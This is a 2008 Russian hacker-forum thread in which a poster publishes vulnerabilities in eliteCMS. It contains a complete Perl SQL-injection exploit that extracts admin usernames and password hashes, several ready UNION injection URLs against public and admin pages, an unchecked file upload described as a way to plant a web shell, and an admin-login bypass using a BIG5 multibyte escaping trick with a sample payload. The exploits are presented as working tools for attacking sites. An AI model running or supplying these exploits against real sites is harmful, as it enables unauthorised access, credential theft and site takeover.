Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |

22.12.2008, 02:21
|
|
Reservists Of Antichat - Level 6
Регистрация: 19.03.2007
Сообщений: 953
Провел на форуме: 7617458
Репутация:
3965
|
|
Уязвимости eliteCMS
eliteCMS
SQL-inj
Vulnerability code:
PHP код:
function get_page_settings()
{
global $page_settings;
$query = "SELECT * FROM pages WHERE id = '{$_GET['page']}'";
$result = mysql_query($query);
confirm_query($result);
$page_settings = mysql_fetch_array($result);
return $page_settings;
}
Ну и вообщем первый мой сплойт:
Код:
#!/usr/bin/perl
system('cls');
#*****************************************************************************
#*****************************************************************************
#** Written by Dimi4, **
#** Greetings to antichat && elwaux **
#** dork:""Powored by Elite CMS" **
#** version:1.0.x **
#** magic_qotes_gpc=OFF **
#** **
#*****************************************************************************
# ****************************************************************************
use IO::Socket;
print "\n +-------------------------------------------------------------+\n";
print " | eliteCMS 1.0.x Sql-Injection Exploit |\n";
print " | By Dimi4 |\n";
print " +-------------------------------------------------------------+\n\n";
if (@ARGV < 3)
{
print " [i] usage:\r\n";
print " eliteCMS.pl Server Dir Username\r\n\r\n";
print " SERVER - Server where eliteCMS was installed.\r\n";
print " DIR - eliteCMS directory or / for parent.\r\n";
print " Username - Targer username(default - admin).\r\n";
print "\n [i] Example:\r\n";
print " eliteCMS.pl 192.168.168.1 / admin2\n";
<stdin>;
exit();
}
$serv = $ARGV[0];
$dir = $ARGV[1];
$username = $ARGV[2];
$serv =~ s/http:\/\///ge;
$delimit = "0x336c317433636d353378706c303174";
$sploit = 'http://'.$serv.'/'.
'index.php?page=1\'+union+select+1,concat'.
'(user_name,\''.$delimit.'\',h_password)'.
',3,4,5,6,7,8,9,10,11+from+users+where+user_name=\''.$username.'\'+'.
'limit+1,1%23';
$sock = IO::Socket::INET->new(
Proto=>"tcp",
PeerAddr=>"$serv",
PeerPort=>"80") or die " [-] could not connect to host.\n";
print " [+] connecting OK\n";
print " [+] sending exploit..\n";
print $sock "GET $sploit HTTP/1.1\n";
print $sock "Host: $serv\n\n";
read($sock,my $answer,1000);
$success = 0;
print " [+] In progress...\n";
if ($answer=~ /$delimit/) {
$answer =~ /$username$delimit(.*)::-::<\/title>/;
print " [+] Exploit succeeded...\n";
print ' [+] Targer: '.$serv."\n";
print ' [+] Username: '.$username."\n";
print ' [+] Password: '.$1."\n";
exit();
} else
{ print " [-] FAILED!\n"; exit(); }
close($sock);
<stdin>;
exit();
Спасибо elwaux за помощь в перел)
Всё те же иньекции:
Код:
http://127.0.0.1/eliteCMS/index.php?page=1'+union+select+1,concat(user_name,0x20336c317433636d353378706c30317420,h_password),3,4,5,6,7,8,9,10,11+from+users+limit+1,1/*
Админка:
На первой страницы виден полный путь. Если хватит прав можно залить шелл через скулю.
Скули в админке:
Код:
http://127.0.0.1/eliteCMS/admin/edit_page.php?page=3+union+select+1,2,3,4,5,6,7,8,9,10,11/*
SQL-inj
Vulnerability code:
PHP код:
function get_page($page_id)
{
$query = "SELECT * FROM ";
$query .= "posts ";
$query .= "WHERE page_id =" . $page_id . " ";
$query .= "AND active = 1 ";
$query .= " ORDER BY position";
$result = mysql_query($query);
$check = mysql_num_rows($result);
confirm_query($result);
if ($check != 0) {
while ($page = mysql_fetch_array($result)) {
echo "<h1>" . $page['title'] . "</h1>\n";
echo "<p>" . $page['content'] . "</p>\n";
}
URL:
Код:
http://127.0.0.1/eliteCMS/admin/edit_post.php?page=1&post=1+union+select+1,2,3,4,user(),version()/*
SQL-inj
Vulnerability code:
PHP код:
function get_sidebar($page_id)
{
$query = "SELECT * FROM ";
$query .= "sidebar ";
$query .= "WHERE page_id =" . $page_id . " ";
//$query .= "AND active = 1 ";
$query .= " ORDER BY position";
$result = mysql_query($query);
confirm_query($result);
while ($sidebar = mysql_fetch_array($result)) {
echo "<h2>" . $sidebar['title'] . "</h2>";
echo "<p>" . $sidebar['content'] . "</p>";
echo "<p></p>";
}
}
URL:
Код:
http://127.0.0.1/eliteCMS/admin/dit_sidebar.php?page=1&sidebar=2+union+select+1,2,3,user(),version()/*
Форум пробелы в експлойт подобавлял
Рабочий в атаче
Такс.. Иду спать.. потом допишу 
__________________
BlackHat. MoDL
Последний раз редактировалось Dimi4; 01.01.2009 в 23:29..
|
|
|

22.12.2008, 02:26
|
|
Reservists Of Antichat - Level 6
Регистрация: 19.03.2007
Сообщений: 953
Провел на форуме: 7617458
Репутация:
3965
|
|
Заливка шелла:
Код:
PHP код:
if (!file_exists($upload_path)) {
if ($_FILES['file']['size'] < 100000000000 && $_FILES['file']['size'] > 0) {
if ($_FILES['file']['error']) {
echo "Error: " . $_FILES['file']['error'];
} else {
// Success!
$successMSG = "File successfully uploaded.";
Нет проверки на расширение))
Шелл:
Код:
http://127.0.0.1/eliteCMS/uploads/shell.php
__________________
BlackHat. MoDL
Последний раз редактировалось Dimi4; 22.12.2008 в 17:39..
|
|
|

22.12.2008, 21:53
|
|
Reservists Of Antichat - Level 6
Регистрация: 19.03.2007
Сообщений: 953
Провел на форуме: 7617458
Репутация:
3965
|
|
Обход авторизации в админке.
Так как даная цмс еще не очень популярна (надеюсь не станет ей до исправления багов ) такой случай очень редкий.
Требования:
PHP: < v4.3.0
magic_qoutes_gpc: OFF
character_set_results: BIG5 (Или любая другая мультибайтовая кодировка - SJIS, BIG5 и GBK)
Уязвимая функция (functions.php)
PHP код:
function mysql_prep($value)
{
$magic_quotes_active = get_magic_quotes_gpc();
$new_enough_php = function_exists("mysql_real_escape_string"); // i.e. PHP >= v4.3.0
if ($new_enough_php) { // PHP v4.3.0 or higher
// undo any magic quote effects so mysql_real_escape_string can do the work
if ($magic_quotes_active) {
$value = stripslashes($value);
}
$value = mysql_real_escape_string($value);
} else { // before PHP v4.3.0
if (!$magic_quotes_active) {
$value = addslashes($value);
}
}
return $value;
}
Перед одинарными и двойными кавычками, беклсешем, нуллбайтом добавляет обратный слэш. В мультибайтовой BIG5 кодировке 0xa327 - неверный символ, но после слеширования, у - 0xa35c27. 0xa35c для BIG5 корректный символ. Но и 0х27 станет отдельным и кавычка не будет экранироватся.
Другой уязвимый кусок кода:
PHP код:
$user_name = mysql_prep($_POST['user_name']);
$password = mysql_prep($_POST['password']);
$h_password = sha1($password);
$query = " SELECT id, user_name, s_admin ";
$query .= " FROM users ";
$query .= " WHERE user_name = '{$user_name}' ";
$query .= " AND h_password = '{$h_password}' ";
$query .= " AND active = 1 ";
$query .= " LIMIT 1 ";
$result = mysql_query($query);
PHP код:
if (mysql_num_rows($result) == 1) {
$valid_user = mysql_fetch_array($result);
$_SESSION['user_id'] = $valid_user['id'];
$_SESSION['user_name'] = $valid_user['user_name'];
$_SESSION['s_admin'] = $valid_user['s_admin'];
redirect_to("index.php");
Пример для пост заголовка на пхп:
PHP код:
$header .= chr(0xa3).chr(0x27).' OR 1=1 /*';
Sql запрос примет такой вид:
PHP код:
$query = " SELECT id, user_name, s_admin FROM users WHERE user_name = 'значение+0xa35c+' OR 1=1 /*' AND h_password = '{$h_password}' AND active = 1 LIMIT 1 ";
Таким образом пройдем авторизацию
Спасибо [Raz0r] За статью в блоге
Спасибо The:Paradox за експлойт для SMF <= 1.1.4
__________________
BlackHat. MoDL
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|